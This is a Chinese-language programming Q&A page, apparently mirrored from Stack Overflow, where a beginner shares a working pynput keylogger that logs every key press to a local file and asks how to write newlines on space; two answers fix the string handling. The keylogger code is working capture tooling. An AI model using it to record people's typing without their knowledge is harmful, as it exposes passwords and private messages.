【问题标题】:Python create new line on space button pressPython在按下空格按钮时创建新行
【发布时间】:2020-03-16 13:53:18
【问题描述】:

我正在运行 Python 3.8(也在 2.7 上测试过)。下面附上的是我参考视频教程创建的键盘记录器的代码,因为我对 Python 还很陌生并正在努力学习。我试图让它在按下空格键时在文件中写入一个新行,以便它向下选项卡并看起来更好。我在网上尝试了一些我发现的不同的东西,但是没有任何东西可以解决它。如果有人可以帮助我并解释为什么这不起作用,将不胜感激。谢谢,祝您度过愉快的一周

    # Define imports

import pynput
from pynput.keyboard import Key, Listener


# Define variables for keylogger

count = 0
keys = []

# Function to detect key presses

def on_press(key):
    global count, keys

    keys.append(key)
    count += 1
    print(str(key))

    if count >= 1:
        write_file(str(keys))
        keys = [] 
        count = 0


# Function to write the letters to a file

def write_file(keys):
    with open("log_test.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'", "").replace("u", "").replace("]", "").replace(",", "").replace("[", "")

            if k.find("space") >= 0: # This is the code to check for space bar press
                f.write('\n') 
            else:
                k.find("Key") == -1
                f.write(k)


# Detect when a key is released

def on_release(key):
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

【问题讨论】:

    标签: python keylogger pynput


    【解决方案1】:

    那是因为你的“k”不是“空格”,而是“s”、“p”、“a”、“c”、“e”。

    不是最优雅的方法,但试试这个:

    def on_press(key):
        global count, keys
    
        keys.append(key)
        count += 1
    
        if count >= 1:
            write_file(keys) # don't convert to string here
            keys = [] 
            count = 0
    
    def write_file(key):
        with open("log_test.txt", "a") as f:
            if str(key).find("space") >= 0: # transform to string to find what you want
                f.write('\n') 
            elif str(key).find("Key") == -1: # transform to string to find what you want
                # key will come as a list, like this: ['char']
                # take the first (and only) element, and it will be like this: 'char'
                # then remove the "'" and you'll have your character
                key = str(key[0]).replace("'", '') # take only the character, then save it
                f.write(key)
    

    【讨论】:

      【解决方案2】:

      当您检查空间时,请执行以下操作:

      if k.find(" ") >= 0: # use plain space " " and not "space"
          f.write('\n')
      

      【讨论】:

      • 天哪,哈哈,我简直不敢相信!!!非常感谢,不敢相信我没有想到这一点。
      • 没关系,它发生了。 xD
      猜你喜欢
      • 1970-01-01
      • 2018-01-18
      • 1970-01-01
      • 2017-07-24
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2015-02-09
      相关资源
      最近更新 更多